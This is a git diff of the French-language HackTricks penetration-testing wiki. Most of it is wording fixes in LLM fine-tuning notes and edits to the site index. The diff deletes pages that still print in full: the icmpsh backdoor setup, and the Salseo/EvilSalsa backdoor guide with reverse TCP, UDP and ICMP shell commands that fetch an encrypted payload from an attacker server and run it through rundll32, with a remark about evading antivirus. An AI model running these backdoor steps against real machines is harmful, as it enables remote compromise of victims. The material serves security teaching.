fine-tuner GPT2 en tant que classificateur de spam dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb) ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index ff944388e..8595de8f6 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,5 +1,7 @@ # 7.2. Ajustement pour suivre des instructions +{{#include /banners/hacktricks-training.md}} + > [!TIP] > L'objectif de cette section est de montrer comment **ajuster un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches en tant que chatbot. @@ -49,15 +51,15 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}" print(model_input + desired_response) ``` -Puis, comme toujours, il est nécessaire de séparer le jeu de données en ensembles pour l'entraînement, la validation et le test. +Alors, comme toujours, il est nécessaire de séparer le jeu de données en ensembles pour l'entraînement, la validation et le test. ## Batching & Data Loaders -Ensuite, il est nécessaire de regrouper toutes les entrées et les sorties attendues pour l'entraînement. Pour cela, il faut : +Ensuite, il est nécessaire de regrouper toutes les entrées et sorties attendues pour l'entraînement. Pour cela, il faut : - Tokeniser les textes - Remplir tous les échantillons à la même longueur (généralement, la longueur sera aussi grande que la longueur de contexte utilisée pour pré-entraîner le LLM) -- Créer les tokens attendus en décalant l'entrée de 1 dans une fonction de collage personnalisée +- Créer les tokens attendus en décalant l'entrée de 1 dans une fonction de collate personnalisée - Remplacer certains tokens de remplissage par -100 pour les exclure de la perte d'entraînement : Après le premier token `endoftext`, substituer tous les autres tokens `endoftext` par -100 (car utiliser `cross_entropy(...,ignore_index=-100)` signifie qu'il ignorera les cibles avec -100) - \[Optionnel\] Masquer en utilisant -100 également tous les tokens appartenant à la question afin que le LLM apprenne uniquement à générer la réponse. Dans le style Apply Alpaca, cela signifiera masquer tout jusqu'à `### Response:` @@ -72,7 +74,7 @@ Rappelez-vous que le surapprentissage se produit lorsque la perte d'entraînemen ## Response Quality -Comme il ne s'agit pas d'un peaufiner de classification où il est possible de faire davantage confiance aux variations de perte, il est également important de vérifier la qualité des réponses dans l'ensemble de test. Par conséquent, il est recommandé de rassembler les réponses générées de tous les ensembles de test et **de vérifier leur qualité manuellement** pour voir s'il y a des réponses incorrectes (notez qu'il est possible pour le LLM de créer correctement le format et la syntaxe de la phrase de réponse mais de donner une réponse complètement incorrecte. La variation de perte ne reflétera pas ce comportement).\ +Comme il ne s'agit pas d'un fine-tuning de classification où il est possible de faire davantage confiance aux variations de perte, il est également important de vérifier la qualité des réponses dans l'ensemble de test. Par conséquent, il est recommandé de rassembler les réponses générées de tous les ensembles de test et **de vérifier leur qualité manuellement** pour voir s'il y a des réponses incorrectes (notez qu'il est possible pour le LLM de créer correctement le format et la syntaxe de la phrase de réponse mais de donner une réponse complètement incorrecte. La variation de perte ne reflétera pas ce comportement).\ Notez qu'il est également possible d'effectuer cette révision en passant les réponses générées et les réponses attendues à **d'autres LLM et leur demander d'évaluer les réponses**. Autre test à effectuer pour vérifier la qualité des réponses : @@ -93,8 +95,10 @@ et beaucoup, beaucoup plus ## Follow instructions fine-tuning code -Vous pouvez trouver un exemple de code pour effectuer ce peaufiner à [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) +Vous pouvez trouver un exemple de code pour effectuer ce fine-tuning à [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index e72583320..e2ad72070 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,10 +1,12 @@ # LLM Training - Data Preparation +{{#include /banners/hacktricks-training.md}} + **Ce sont mes notes du livre très recommandé** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **avec quelques informations supplémentaires.** ## Basic Information -Vous devriez commencer par lire ce post pour quelques concepts de base que vous devez connaître : +Vous devriez commencer par lire ce post pour quelques concepts de base que vous devriez connaître : {{#ref}} 0.-basic-llm-concepts.md @@ -34,7 +36,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous > L'objectif de cette troisième phase est très simple : **Attribuer à chacun des tokens précédents dans le vocabulaire un vecteur des dimensions souhaitées pour entraîner le modèle.** Chaque mot dans le vocabulaire sera un point dans un espace de X dimensions.\ > Notez qu'initialement, la position de chaque mot dans l'espace est simplement initialisée "au hasard" et ces positions sont des paramètres entraînables (seront améliorés pendant l'entraînement). > -> De plus, pendant l'embedding des tokens, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette façon, un mot à différentes positions dans la phrase aura une représentation (signification) différente. +> De plus, pendant l'embedding des tokens, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette manière, un mot à différentes positions dans la phrase aura une représentation différente (signification). {{#ref}} 3.-token-embeddings.md @@ -64,7 +66,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous ## 6. Pre-training & Loading models > [!TIP] -> L'objectif de cette sixième phase est très simple : **Entraîner le modèle depuis zéro**. Pour cela, l'architecture LLM précédente sera utilisée avec quelques boucles parcourant les ensembles de données en utilisant les fonctions de perte et l'optimiseur définis pour entraîner tous les paramètres du modèle. +> L'objectif de cette sixième phase est très simple : **Entraîner le modèle à partir de zéro**. Pour cela, l'architecture LLM précédente sera utilisée avec quelques boucles parcourant les ensembles de données en utilisant les fonctions de perte et l'optimiseur définis pour entraîner tous les paramètres du modèle. {{#ref}} 6.-pre-training-and-loading-models.md @@ -96,3 +98,5 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} + +{{#include /banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d902fdb93..f83536cbe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -149,6 +149,7 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) + - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -217,8 +218,10 @@ # 🪟 Windows Hardening +- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -248,6 +251,7 @@ - [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md) - [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md) - [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md) + - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md) - [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) @@ -330,7 +334,7 @@ - [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) - [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) - [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) - - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) - [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) @@ -388,6 +392,7 @@ - [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) + - [Django](network-services-pentesting/pentesting-web/django.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) @@ -398,7 +403,6 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Git](network-services-pentesting/pentesting-web/git.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) @@ -430,7 +434,7 @@ - [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) - - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) + - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) - [Python](network-services-pentesting/pentesting-web/python.md) @@ -438,6 +442,7 @@ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]() - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md) - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) - [Symfony](network-services-pentesting/pentesting-web/symphony.md) - [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md) @@ -582,6 +587,7 @@ - [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) - [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) - [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md) - [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) - [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) - [Email Injections](pentesting-web/email-injections.md) @@ -609,6 +615,7 @@ - [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) - [IDOR](pentesting-web/idor.md) - [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) +- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md) - [LDAP Injection](pentesting-web/ldap-injection.md) - [Login Bypass](pentesting-web/login-bypass/README.md) - [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) @@ -641,6 +648,7 @@ - [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) - [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) - [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md) + - [Sqlmap](pentesting-web/sql-injection/sqlmap.md) - [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) - [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -664,6 +672,7 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) +- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) @@ -845,13 +854,14 @@ # ✍️ TODO -- [Other Big References](todo/references.md) +- [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) - [MISC](todo/misc.md) -- [Pentesting DNS](todo/pentesting-dns.md) - [Hardware Hacking](todo/hardware-hacking/README.md) + - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) + - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md) - [UART](todo/hardware-hacking/uart.md) - [Radio](todo/hardware-hacking/radio.md) - [JTAG](todo/hardware-hacking/jtag.md) @@ -878,8 +888,6 @@ - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Android Forensics](todo/android-forensics.md) -- [TR-069](todo/tr-069.md) -- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) - [Online Platforms with API](todo/online-platforms-with-api.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) @@ -887,3 +895,11 @@ - [Cookies Policy](todo/cookies-policy.md) + + - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) + - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) + - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) + - [Readme](reversing/cryptographic-algorithms/README.md) + - [Readme](reversing/reversing-tools/README.md) + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file diff --git a/src/android-forensics.md b/src/android-forensics.md deleted file mode 100644 index ee89c8ce9..000000000 --- a/src/android-forensics.md +++ /dev/null @@ -1,27 +0,0 @@ -# Android Forensics - -{{#include ./banners/hacktricks-training.md}} - -## Appareil verrouillé - -Pour commencer à extraire des données d'un appareil Android, il doit être déverrouillé. S'il est verrouillé, vous pouvez : - -- Vérifier si le débogage via USB est activé. -- Vérifier un éventuel [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) -- Essayer avec [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) - -## Acquisition de données - -Créez une [sauvegarde android en utilisant adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) et extrayez-la en utilisant [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` - -### Si accès root ou connexion physique à l'interface JTAG - -- `cat /proc/partitions` (recherchez le chemin vers la mémoire flash, généralement la première entrée est _mmcblk0_ et correspond à la mémoire flash entière). -- `df /data` (Découvrez la taille des blocs du système). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (exécutez-le avec les informations recueillies sur la taille des blocs). - -### Mémoire - -Utilisez Linux Memory Extractor (LiME) pour extraire les informations de la RAM. C'est une extension du noyau qui doit être chargée via adb. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md deleted file mode 100644 index 74b3416fb..000000000 --- a/src/backdoors/icmpsh.md +++ /dev/null @@ -1,25 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Téléchargez le backdoor depuis : [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) - -# Côté client - -Exécutez le script : **run.sh** - -**Si vous obtenez une erreur, essayez de modifier les lignes :** -```bash -IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) -IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') -``` -**Pour :** -```bash -echo Please insert the IP where you want to listen -read IP -``` -# **Côté Victime** - -Téléchargez **icmpsh.exe** sur la victime et exécutez : -```bash -icmpsh.exe -t -d 500 -b 30 -s 128 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md deleted file mode 100644 index 561b13933..000000000 --- a/src/backdoors/salseo.md +++ /dev/null @@ -1,158 +0,0 @@ -# Salseo - -{{#include ../banners/hacktricks-training.md}} - -## Compilation des binaires - -Téléchargez le code source depuis GitHub et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code. - -Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (Si Windows prend en charge x64, compilez-les pour cette architecture). - -Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'**onglet "Build" à gauche** dans **"Platform Target".** - -(**Si vous ne trouvez pas cette option, cliquez sur **"Project Tab"** puis sur **"\ Properties"**) - -![](<../images/image (132).png>) - -Ensuite, construisez les deux projets (Build -> Build Solution) (Dans les logs, le chemin de l'exécutable apparaîtra) : - -![](<../images/image (1) (2) (1) (1) (1).png>) - -## Préparer le Backdoor - -Tout d'abord, vous devrez encoder le **EvilSalsa.dll.** Pour ce faire, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** : - -### **Python** -``` -python EncrypterAssembly/encrypterassembly.py -python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt -``` -### Windows -``` -EncrypterAssembly.exe -EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt -``` -D'accord, maintenant vous avez tout ce qu'il vous faut pour exécuter toutes les choses Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.** - -**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un AV...** - -## **Exécuter le backdoor** - -### **Obtenir un shell inverse TCP (télécharger le dll encodé via HTTP)** - -N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse et un serveur HTTP pour servir l'evilsalsa encodé. -``` -SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp -``` -### **Obtenir un shell inverse UDP (téléchargement d'un dll encodé via SMB)** - -N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse, et un serveur SMB pour servir l'evilsalsa encodé (impacket-smbserver). -``` -SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp -``` -### **Obtenir un shell inverse ICMP (dll encodée déjà à l'intérieur de la victime)** - -**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Désactiver les réponses ICMP :** -``` -sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -#You finish, you can enable it again running: -sysctl -w net.ipv4.icmp_echo_ignore_all=0 -``` -#### Exécuter le client : -``` -python icmpsh_m.py "" "" -``` -#### À l'intérieur de la victime, exécutons le truc salseo : -``` -SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp -``` -## Compilation de SalseoLoader en tant que DLL exportant la fonction principale - -Ouvrez le projet SalseoLoader avec Visual Studio. - -### Ajoutez avant la fonction principale : \[DllExport] - -![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -### Installez DllExport pour ce projet - -#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...** - -![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)** - -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -Dans votre dossier de projet, les fichiers suivants sont apparus : **DllExport.bat** et **DllExport_Configure.bat** - -### **D** désinstaller DllExport - -Appuyez sur **Désinstaller** (oui, c'est étrange mais faites-moi confiance, c'est nécessaire) - -![](<../images/image (5) (1) (1) (2) (1).png>) - -### **Quittez Visual Studio et exécutez DllExport_configure** - -Il suffit de **quitter** Visual Studio - -Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport_Configure.bat** - -Sélectionnez **x64** (si vous allez l'utiliser à l'intérieur d'une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer** - -![](<../images/image (7) (1) (1) (1) (1).png>) - -### **Ouvrez à nouveau le projet avec Visual Studio** - -**\[DllExport]** ne devrait plus être marqué comme erreur - -![](<../images/image (8) (1).png>) - -### Construisez la solution - -Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes) - -![](<../images/image (10) (1).png>) - -Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Build --> Cible de la plateforme = x64) - -![](<../images/image (9) (1) (1).png>) - -Pour **construire** la solution : Build --> Build Solution (Dans la console de sortie, le chemin de la nouvelle DLL apparaîtra) - -### Testez la DLL générée - -Copiez et collez la DLL où vous souhaitez la tester. - -Exécutez : -``` -rundll32.exe SalseoLoader.dll,main -``` -Si aucune erreur n'apparaît, vous avez probablement un DLL fonctionnel !! - -## Obtenir un shell en utilisant le DLL - -N'oubliez pas d'utiliser un **serveur** **HTTP** et de définir un **écouteur** **nc** - -### Powershell -``` -$env:pass="password" -$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" -$env:lhost="10.2.0.5" -$env:lport="1337" -$env:shell="reversetcp" -rundll32.exe SalseoLoader.dll,main -``` -### CMD -``` -set pass=password -set payload=http://10.2.0.5/evilsalsax64.dll.txt -set lhost=10.2.0.5 -set lport=1337 -set shell=reversetcp -rundll32.exe SalseoLoader.dll,main -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 4a17f1251..472f1acc0 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1 +1,3 @@ -# Écriture Arbitraire 2 Exécution +# Écriture arbitraire 2 Exécution + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 06d4c64a1..5be0a2eae 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,46 +1,48 @@ # iOS Exploiting +{{#include /banners/hacktricks-training.md}} + ## Utilisation physique après libération -Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gestion de la mémoire dans XNU L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles. -#### Niveaux des tables de pages dans iOS +#### Niveaux des Tables de Pages dans iOS Les tables de pages sont organisées hiérarchiquement en trois niveaux : -1. **Table de pages L1 (Niveau 1)** : +1. **Table de Pages L1 (Niveau 1)** : * Chaque entrée ici représente une large plage de mémoire virtuelle. -* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle. -2. **Table de pages L2 (Niveau 2)** : -* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo). +* Elle couvre **0x1000000000 bytes** (ou **256 Go**) de mémoire virtuelle. +2. **Table de Pages L2 (Niveau 2)** : +* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 bytes** (32 Mo). * Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même. -3. **Table de pages L3 (Niveau 3)** : -* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**. +3. **Table de Pages L3 (Niveau 3)** : +* C'est le niveau le plus fin, où chaque entrée mappe une seule **page mémoire de 4 Ko**. * Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire. -#### Mapping de la mémoire virtuelle à la mémoire physique +#### Mapping de la Mémoire Virtuelle à Physique -* **Mapping direct (Mapping par bloc)** : +* **Mapping Direct (Mapping par Bloc)** : * Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci). -* **Pointeur vers la table de pages enfant** : +* **Pointeur vers la Table de Pages Enfant** : * Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2). -#### Exemple : Mapping d'une adresse virtuelle +#### Exemple : Mapping d'une Adresse Virtuelle Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** : 1. **Table L1** : * Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2. 2. **Table L2** : -* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, il y procède. +* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, elle y procède. 3. **Table L3** : * Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle. -#### Exemple de mapping d'adresse +#### Exemple de Mapping d'Adresse Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : @@ -55,7 +57,7 @@ Alternativement, si l'entrée L2 pointe vers une table L3 : Une **utilisation physique après libération** (UAF) se produit lorsque : -1. Un processus **alloue** de la mémoire comme **lisible et écrivable**. +1. Un processus **alloue** de la mémoire comme **lisible et inscriptible**. 2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder. 3. Le processus **désalloue** (libère) la mémoire. 4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre. @@ -64,7 +66,7 @@ Une **utilisation physique après libération** (UAF) se produit lorsque : Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**. -### Stratégie d'exploitation : Spray de tas +### Stratégie d'Exploitation : Spray de Tas Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** : @@ -75,15 +77,15 @@ Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau s Plus d'infos à ce sujet dans 